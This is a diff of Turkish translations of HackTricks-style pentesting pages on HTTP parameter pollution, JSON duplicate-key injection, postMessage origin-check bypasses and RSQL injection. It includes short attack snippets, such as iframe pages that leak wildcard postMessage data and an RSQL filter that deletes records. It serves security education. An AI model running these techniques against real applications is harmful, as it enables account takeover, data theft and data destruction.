- **Sonuç:** İlk e-posta için tasarlanan OTP, manipüle edilmiş istekte belirtilen ikinci e-posta adresine gönderildi. Bu hata, amaçlanan güvenlik önlemini aşarak yetkisiz erişime izin verdi.
Bu senaryo, OTP üretimi için ilk `email` parametresini işleyen ancak teslimat için sonuncusunu kullanan uygulamanın arka ucundaki kritik bir gözden geçirmeyi vurgulamaktadır.
Bu senaryo, uygulamanın arka ucundaki kritik bir gözden geçirmeyi vurgular; ilk `email` parametresi OTP üretimi için işlenirken, teslimat için sonuncusu kullanıldı.
**API Anahtarı Manipülasyonu Durumu:**
- **Senaryo:** Bir uygulama, kullanıcıların profil ayarları sayfası aracılığıyla API anahtarlarını güncellemelerine izin veriyor.
- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtarı güncelleme işlevinin sonucunu manipüle edebileceğini keşfetti.
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan bir geçerli ve bir kötü niyetli `api_key` parametresi içeren bir istek oluşturur. Sunucu, yalnızca son örneği işleyerek, API anahtarını saldırganın sağladığı değere günceller.
- **Senaryo:** Bir uygulama, kullanıcıların profil ayarları sayfası aracılığıyla API anahtarlarını güncellemelerine izin verir.
- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtarı güncelleme işlevinin sonucunu manipüle edebileceğini keşfeder.
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan bir geçerli ve bir kötü niyetli `api_key` parametresi içeren bir istek hazırlar. Sunucu, yalnızca son durumu işleyerek, API anahtarını saldırganın sağladığı değere günceller.
- **Sonuç:** Saldırgan, mağdurun API işlevselliği üzerinde kontrol kazanır ve muhtemelen özel verilere yetkisiz erişim veya değişiklik yapabilir.
Bu örnek, özellikle API anahtarı yönetimi gibi kritik özelliklerde güvenli parametre işlemenin gerekliliğini daha da vurgulamaktadır.
Bu örnek, özellikle API anahtarı yönetimi gibi kritik özelliklerde güvenli parametre işlemenin gerekliliğini daha da vurgular.
### Parametre Ayrıştırma: Flask vs. PHP
Web teknolojilerinin yinelenen HTTP parametrelerini ele alma şekli, HPP saldırılarına karşı duyarlılıklarını etkiler:
Web teknolojilerinin çoğaltılmış HTTP parametrelerini ele alma şekli, HPP saldırılarına karşı duyarlılıklarını etkiler:
- **Flask:** Bir sorgu dizesinde `a=1&a=2` gibi ilk karşılaşılan parametre değerini benimser, ilk örneği sonraki yinelenenlerden öncelikli kılar.
- **Flask:** Bir sorgu dizesinde `a=1&a=2` gibi ilk karşılaşılan parametre değerini benimser, ilk örneği sonraki çoğaltmalara tercih eder.
- **PHP (Apache HTTP Sunucusunda):** Aksine, son parametre değerini önceliklendirir ve verilen örnekte `a=2` seçilir. Bu davranış, saldırganın manipüle ettiği parametreyi orijinaline tercih ederek HPP istismarlarını istemeden kolaylaştırabilir.
## Teknolojiye Göre Parametre Kirliliği
@ -60,10 +57,10 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81
<figure><img src="../images/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
1. Parametre adından %00 sonrasını yok sayın.
2. name\[]'yi dizi olarak ele alın.
1. Parametre adından %00 sonrasını yoksay.
2. name\[]'yi dizi olarak ele al.
3. \_GET GET Yöntemini ifade etmez.
4. Son parametreyi tercih edin.
4. Son parametreyi tercih et.
### Ruby 3.3.5 ve WEBrick 1.8.2
@ -71,7 +68,7 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81
1. Parametreleri ayırmak için & ve ; ayırıcılarını kullanır.
2. name\[] tanınmaz.
3. İlk parametreyi tercih edin.
3. İlk parametreyi tercih et.
### Spring MVC 6.0.23 VE Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
@ -79,8 +76,8 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
2. POST RequestMapping & PostMapping name\[]'yi tanır.
3. name ve name\[] mevcutsa name'i tercih edin.
4. Parametreleri birleştirin, örneğin first,last.
3. name ve name\[] mevcutsa name'i tercih et.
4. Parametreleri birleştir, örneğin first,last.
5. POST RequestMapping & PostMapping, Content-Type ile sorgu parametresini tanır.
### **NodeJS** 20.17.0 **VE** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
@ -88,43 +85,43 @@ Sonuçlar [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b81
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
1. name\[]'yi tanır.
2. Parametreleri birleştirir, örneğin first,last.
2. Parametreleri birleştir, örneğin first,last.
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. name\[] tanınmaz.
2. İlk parametreyi tercih edin.
2. İlk parametreyi tercih et.
### Python 3.12.6 VE Werkzeug 3.0.4 VE Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. name\[] tanınmaz.
2. İlk parametreyi tercih edin.
2. İlk parametreyi tercih et.
### Python 3.12.6 VE Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. name\[] tanınmaz.
2. Son parametreyi tercih edin.
2. Son parametreyi tercih et.
### Python 3.12.6 VE Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. name\[] tanınmaz.
2. Son parametreyi tercih edin.
2. Son parametreyi tercih et.
## JSON Injection
### Yinelenen anahtarlar
### Çoğaltılmış anahtarlar
```ini
obj = {"test": "user", "test": "admin"}
```
Ön uç, ilk oluşumu doğru kabul edebilirken, arka uç anahtarın ikinci oluşumunu kullanır.
Ön uç, ilk oluşumu doğru kabul edebilirken, arka uç anahtarın ikinci oluşumunu kullanabilir.
### Anahtar Çakışması: Karakter Kısaltma ve Yorumlar
@ -135,7 +132,7 @@ Belirli karakterler ön uç tarafından doğru bir şekilde yorumlanmayabilir, a
{"test": 1, "test"": 2}
{"test": 1, "te\st": 2}
```
Bu durumlarda ön `test == 1` olarak düşünebilirken, arka uç `test == 2` olarak düşünebilir.
Bu durumlarda ön yüzün `test == 1` olduğunu düşünürken, arka yüzün `test == 2` olduğunu düşünebileceğini unutmayın.
Bu, aşağıdaki gibi değer kısıtlamalarını aşmak için de kullanılabilir:
```json

View File

@ -1,10 +1,8 @@
# PostMessage Açıkları
## PostMessage Açıkları
{{#include ../../banners/hacktricks-training.md}}
## Gönder **PostMessage**
## Mesaj Gönder **PostMessage**
**PostMessage** bir mesaj göndermek için aşağıdaki fonksiyonu kullanır:
```bash
@ -39,7 +37,7 @@ Eğer **joker karakter** kullanılıyorsa, **mesajlar herhangi bir domaine gönd
### iframe saldırısı & **targetOrigin**'de joker karakter
[**bu raporda**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) açıklandığı gibi, **iframed** (hiçbir `X-Frame-Header` koruması yok) olabilen bir sayfa bulursanız ve bu sayfa **joker karakter** (\*) kullanarak **duyarlı** mesaj gönderiyorsa, **iframe**'in **kökenini** **değiştirebilir** ve **duyarlı** mesajı sizin kontrolünüzdeki bir domaine **sızdırabilirsiniz**.\
Sayfanın iframed olabileceğini ancak **targetOrigin**'in **bir URL'ye ve joker karaktere ayarlanmadığını** not edin, bu **numara çalışmayacaktır**.
Sayfanın iframed olabileceğini ancak **targetOrigin**'in **bir URL'ye ve joker karaktere ayarlanmadığını** unutmayın, bu **numara çalışmayacaktır**.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -69,7 +67,7 @@ if (event.origin !== "http://example.org:8080") return
false
)
```
Not edin ki bu durumda kodun yaptığı **ilk şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas işlem** yapılacaksa (örneğin bir şifre değiştirme) son derece **önemlidir**. **Eğer kaynak kontrol edilmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir** ve kurbanların şifrelerini değiştirebilir (bu örnekte).
Not edin ki bu durumda kodun yaptığı **ilk şey** **kaynağı kontrol etmek**. Bu, alınan bilgilerle **herhangi bir hassas işlem** yapılacaksa (örneğin bir şifre değiştirmek gibi) son derece **önemlidir**. **Eğer kaynak kontrol edilmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesine neden olabilir** ve kurbanların şifrelerini değiştirebilir (bu örnekte).
### Sayım
@ -88,21 +86,21 @@ Mevcut sayfadaki **olay dinleyicilerini bulmak** için şunları yapabilirsiniz:
### Kaynak kontrolü atlamaları
- **`event.isTrusted`** niteliği güvenli kabul edilir çünkü yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar için `True` döner. Doğru bir şekilde uygulanırsa atlanması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir.
- **`event.isTrusted`** niteliği, yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar için `True` döndürdüğü için güvenli kabul edilir. Doğru bir şekilde uygulanırsa atlanması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir.
- PostMessage olaylarında kaynak doğrulaması için **`indexOf()`** kullanımı atlamaya karşı hassas olabilir. Bu zayıflığı gösteren bir örnek:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- `String.prototype.search()`'ten gelen **`search()`** metodu düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, regex'e örtük dönüşüme yol açar ve bu metodun potansiyel olarak güvensiz olmasına neden olur. Bunun nedeni, regex'te bir noktanın (.) joker karakter olarak işlev görmesi ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına izin vermesidir. Örneğin:
- `String.prototype.search()`'ten gelen **`search()`** metodu, dizeler için değil, düzenli ifadeler için tasarlanmıştır. Bir regexp dışında bir şey geçmek, yöntemi potansiyel olarak güvensiz hale getiren düzenli ifadeye örtük dönüşüme yol açar. Çünkü düzenli ifadelerde bir nokta (.) joker karakter olarak işlev görür ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına izin verir. Örneğin:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- `search()` ile benzer olan **`match()`** fonksiyonu da regex işler. Eğer regex yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir.
- **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliği `hasOwnProperty`'yi tanımayacak şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:
- `search()` ile benzer olan **`match()`** fonksiyonu, düzenli ifadeleri işler. Eğer düzenli ifade yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir.
- **`escapeHtml`** fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğinin `hasOwnProperty`'yi tanımadığı şekilde manipüle edilebiliyorsa, `escapeHtml` beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir:
- Beklenen Hata:
@ -113,24 +111,24 @@ message: "'\"<b>\\",
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Kaçırma:
- Kaçırmayı atlama:
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
Bu zayıflık bağlamında, `File` nesnesi, salt okunur `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
Bu zayıflık bağlamında, `File` nesnesi, yalnızca okunabilir `name` özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında `escapeHtml` fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
- JavaScript'teki `document.domain` özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulanmasına olanak tanır.
### e.origin == window.origin atlaması
Bir web sayfasını %%%%%% kullanarak **sandboxed iframe** içinde gömülü hale getirirken, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox özellikleri** ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgili olarak özellikle önemlidir.
Bir **sandboxed iframe** içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kökeninin null olarak ayarlanacağını anlamak önemlidir. Bu, **sandbox nitelikleri** ve bunların güvenlik ve işlevsellik üzerindeki etkileri ile ilgili olarak özellikle önemlidir.
**`allow-popups`** sandbox niteliğinde belirtilerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağıyla aynı hale gelir.
**`allow-popups`** niteliklerini belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, **`allow-popups-to-escape-sandbox`** niteliği de dahil edilmediği sürece, açılır pencerenin kökeninin de `null` olarak ayarlandığı anlamına gelir ve bu, iframe'in kökeni ile aynı hale gelir.
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye **`postMessage`** kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kaynakları `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru olduğu bir senaryo oluşturur (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı kaynak değerini paylaşır.
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye **`postMessage`** ile bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kökenleri `null` olarak ayarlanır. Bu durum, **`e.origin == window.origin`** ifadesinin doğru değerlendirilmesine yol açar (`null == null`), çünkü hem iframe hem de açılır pencere `null` değerine sahip aynı köken değerini paylaşır.
Daha fazla bilgi için **okuyun**:
@ -138,7 +136,7 @@ Daha fazla bilgi için **okuyun**:
bypassing-sop-with-iframes-1.md
{{#endref}}
### e.source atlaması
### e.source'u atlama
Mesajın, scriptin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle **tarayıcı uzantılarından gelen İçerik Scriptleri** için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):
```javascript
@ -147,7 +145,7 @@ if (received_message.source !== window) {
return
}
```
Bir mesajın **`e.source`** değerini null yapmak için, **postMessage** gönderen ve **hemen silinen** bir **iframe** oluşturabilirsiniz.
**`e.source`**'un bir mesajın null olmasını sağlamak için, **postMessage** gönderen ve **hemen silinen** bir **iframe** oluşturabilirsiniz.
Daha fazla bilgi için **şunu okuyun:**
@ -158,14 +156,14 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header atlatma
Bu saldırıları gerçekleştirmek için ideal olarak **kurban web sayfasını** bir `iframe` içine alabilmeniz gerekir. Ancak `X-Frame-Header` gibi bazı başlıklar bu **davranışı** **engelleyebilir**.\
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Zayıf noktası olan web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Gü vulnerable web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Çocuk sayfasına gönderilen mesajı çalmak için ana sayfayı engelleme
### Çocuk sayfasına gönderilen mesajı ana sayfayı engelleyerek çalmak
Aşağıdaki sayfada, **veriyi göndermeden önce** **ana** sayfayı **engelleyerek** bir **çocuk iframe**'e gönderilen **hassas postmessage verisini** nasıl çalabileceğinizi görebilirsiniz ve **çocukta bir XSS** kullanarak veriyi **sızdırabilirsiniz**:
@ -173,7 +171,7 @@ Aşağıdaki sayfada, **veriyi göndermeden önce** **ana** sayfayı **engelleye
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### iframe konumunu değiştirerek mesajı çalmak
### iframe konumunu değiştirerek mesaj çalmak
X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o **çocuk iframe'in konumunu** **değiştirebilirsiniz**, böylece eğer bir **wildcard** kullanılarak gönderilen bir **postmessage** alıyorsa, bir saldırgan o iframe'in **kaynağını** kendisinin **kontrol ettiği** bir sayfaya **değiştirebilir** ve mesajı **çalabilir**:
@ -183,11 +181,11 @@ steal-postmessage-modifying-iframe-location.md
### postMessage ile Prototip Kirlenmesi ve/veya XSS
`postMessage` ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı** **iframe'leyebilir** ve **prototip kirlenmesi/XSS**ığını **postMessage** aracılığıyla göndererek **istismar** edebilirsiniz.
`postMessage` ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, **sayfayı** **iframe**'leyebilir ve **prototip kirlenmesi/XSS**'yi **postMessage** aracılığıyla gönderilen istismar ile **sömürebilirsiniz**.
**postMessage** aracılığıyla **çok iyi açıklanmış XSS örnekleri** [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) adresinde bulunabilir.
Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirlenmesi ve ardından XSS** istismar etmek için bir örnek:
Bir `iframe`'e `postMessage` aracılığıyla **Prototip Kirlenmesi ve ardından XSS** istismarına bir örnek:
```html
<html>
<body>

View File

@ -1,18 +1,14 @@
# RSQL Injection
## RSQL Injection
{{#include ../banners/hacktricks-training.md}}
## RSQL Injection
## RSQL Nedir?
RSQL, RESTful API'lerde girişlerin parametreli filtrelenmesi için tasarlanmış bir sorgu dilidir. FIQL (Feed Item Query Language) temel alınarak geliştirilmiştir ve başlangıçta Mark Nottingham tarafından Atom beslemelerini sorgulamak için belirtilmiştir. RSQL, basitliği ve karmaşık sorguları kompakt ve URI uyumlu bir şekilde HTTP üzerinden ifade etme yeteneği ile öne çıkar. Bu, onu REST uç noktası aramaları için genel bir sorgu dili olarak mükemmel bir seçim haline getirir.
## Genel Bakış
RSQL Injection, RSQL'yi RESTful API'lerde sorgu dili olarak kullanan web uygulamalarındaki bir güvenlik açığıdır. [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) ve [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection) ile benzer şekilde, bu güvenlik açığı RSQL filtreleri düzgün bir şekilde temizlenmediğinde ortaya çıkar ve bir saldırganın yetkisiz olarak verilere erişmesine, değiştirmesine veya silmesine olanak tanır.
RSQL Injection, RSQL'i sorgu dili olarak kullanan web uygulamalarındaki bir güvenlik açığıdır. [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) ve [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection) ile benzer şekilde, bu güvenlik açığı RSQL filtreleri düzgün bir şekilde temizlenmediğinde ortaya çıkar ve bir saldırganın yetkisiz olarak verilere erişmesine, değiştirmesine veya silmesine olanak tanır.
## Nasıl Çalışır?
## Nasıl çalışır?
RSQL, RESTful API'lerde gelişmiş sorgular oluşturmanıza olanak tanır, örneğin:
```bash
/products?filter=price>100;category==electronics
@ -23,36 +19,36 @@ Eğer uygulama kullanıcı girişini doğru bir şekilde doğrulamıyorsa, bir s
```bash
/products?filter=id=in=(1,2,3);delete_all==true
```
Or even take advantage to extract sensitive information with Boolean queries or nested subqueries.
Or hatta Boolean sorguları veya iç içe alt sorgularla hassas bilgileri çıkarmak için avantaj sağlayabilir.
## Risks
- **Hassas verilerin ifşa edilmesi:** Bir saldırgan, erişilmemesi gereken bilgileri alabilir.
## Riskler
- **Hassas verilerin ifşası:** Bir saldırgan, erişilmemesi gereken bilgileri alabilir.
- **Veri değiştirme veya silme:** Veritabanı kayıtlarını değiştiren filtrelerin enjekte edilmesi.
- **Yetki yükseltme:** Filtreler aracılığıyla roller veren tanımlayıcıların manipülasyonu, uygulamayı diğer kullanıcıların yetkileriyle erişim sağlamak için kandırmak.
- **Yetki yükseltme:** Filtreler aracılığıyla roller veren tanımlayıcıların manipülasyonu, uygulamayı diğer kullanıcıların ayrıcalıklarıyla erişim sağlamak için kandırmak.
- **Erişim kontrollerinden kaçınma:** Kısıtlı verilere erişmek için filtrelerin manipülasyonu.
- **Kimlik taklidi veya IDOR:** Diğer kullanıcıların bilgilerine ve kaynaklarına erişim sağlamak için filtreler aracılığıyla kullanıcılar arasındaki tanımlayıcıların değiştirilmesi, bu kullanıcılar olarak doğru bir şekilde kimlik doğrulaması yapılmadan.
- **Taklit veya IDOR:** Diğer kullanıcıların bilgilerine ve kaynaklarına erişim sağlamak için filtreler aracılığıyla kullanıcılar arasındaki tanımlayıcıların değiştirilmesi, bu kullanıcılar olarak doğru bir şekilde kimlik doğrulaması yapılmadan.
## Supported RSQL operators
| Operator | Description | Example |
## Desteklenen RSQL operatörleri
| Operatör | Açıklama | Örnek |
|:----: |:----: |:------------------:|
| `;` / `and` | Mantıksal **VE** operatörü. *Her iki* koşulun *doğru* olduğu satırları filtreler | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
| `;` / `and` | Mantıksal **VE** operatörü. *Her iki* koşulun da *doğru* olduğu satırları filtreler | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
| `,` / `or` | Mantıksal **VEYA** operatörü. *En az bir* koşulun *doğru* olduğu satırları filtreler | `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
| `==` | **eşit** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *queryValue* ile tam olarak eşit olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA==queryValue` |
| `=q=` | **arama** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *queryValue* içerdiği tüm satırları döndürür | `/api/v2/myTable?q=columnA=q=queryValue` |
| `=like=` | **benzer** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *queryValue* gibi olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA=like=queryValue` |
| `=in=` | **içinde** sorgusu gerçekleştirir. *myTable*'dan *columnA*'nın *valueA* veya *valueB* içerdiği tüm satırları döndürür | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
| `=out=` | **hariç** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *valueA* veya *valueB* olmadığı tüm satırları döndürür | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
| `!=` | *eşit değil* sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *queryValue* ile eşit olmadığı tüm satırları döndürür | `/api/v2/myTable?q=columnA!=queryValue` |
| `=notlike=` | **benzer değil** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *queryValue* gibi olmadığı tüm satırları döndürür | `/api/v2/myTable?q=columnA=notlike=queryValue` |
| `<` & `=lt=` | **küçüktür** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *queryValue*'dan küçük olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
| `=le=` & `<=` | **küçük veya eşit** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *queryValue*'dan küçük veya ona eşit olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
| `>` & `=gt=` | **büyüktür** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *queryValue*'dan büyük olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
| `>=` & `=ge=` | **eşit** veya **büyük** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *queryValue*'ya eşit veya ondan büyük olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
| `=rng=` | **arasında** sorgusu gerçekleştirir. *myTable*'dan *columnA* değerlerinin *fromValue*'ya eşit veya ondan büyük ve *toValue*'dan küçük veya ona eşit olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
| `==` | **eşittir** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* ile tam olarak eşit olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA==queryValue` |
| `=q=` | **arama** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* içerdiği tüm satırları döndürür | `/api/v2/myTable?q=columnA=q=queryValue` |
| `=like=` | **benzer** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* gibi olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA=like=queryValue` |
| `=in=` | **içinde** sorgusu yapar. *myTable*'dan *columnA*'nın *valueA* VEYA *valueB* içerdiği tüm satırları döndürür | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
| `=out=` | **hariç** sorgusu yapar. *myTable*'dan *columnA* değerlerinin ne *valueA* ne de *valueB* olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
| `!=` | *eşit değildir* sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* ile eşit olmadığı tüm satırları döndürür | `/api/v2/myTable?q=columnA!=queryValue` |
| `=notlike=` | **benzer değil** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* gibi olmadığı tüm satırları döndürür | `/api/v2/myTable?q=columnA=notlike=queryValue` |
| `<` & `=lt=` | **küçüktür** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue*'dan küçük olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
| `=le=` & `<=` | **küçük veya eşit** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue*'dan küçük veya ona eşit olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
| `>` & `=gt=` | **büyüktür** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue*'dan büyük olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
| `>=` & `=ge=` | **eşit** veya **büyük** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue*'ya eşit veya ondan büyük olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
| `=rng=` | **arasında** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *fromValue*'ya eşit veya ondan büyük ve *toValue*'dan küçük veya ona eşit olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
**Not**: Tablo, [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) ve [**rsql-parser**](https://github.com/jirutka/rsql-parser) uygulamalarından alınan bilgilere dayanmaktadır.
#### Examples
#### Örnekler
- name=="Kill Bill";year=gt=2003
- name=="Kill Bill" and year>2003
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
@ -64,33 +60,32 @@ Or even take advantage to extract sensitive information with Boolean queries or
**Not**: Tablo, [**rsql-parser**](https://github.com/jirutka/rsql-parser) uygulamasından alınan bilgilere dayanmaktadır.
## Common filters
These filters help refine queries in APIs:
## Yaygın filtreler
Bu filtreler, API'lerde sorguları daraltmaya yardımcı olur:
| Filter | Description | Example |
| Filtre | Açıklama | Örnek |
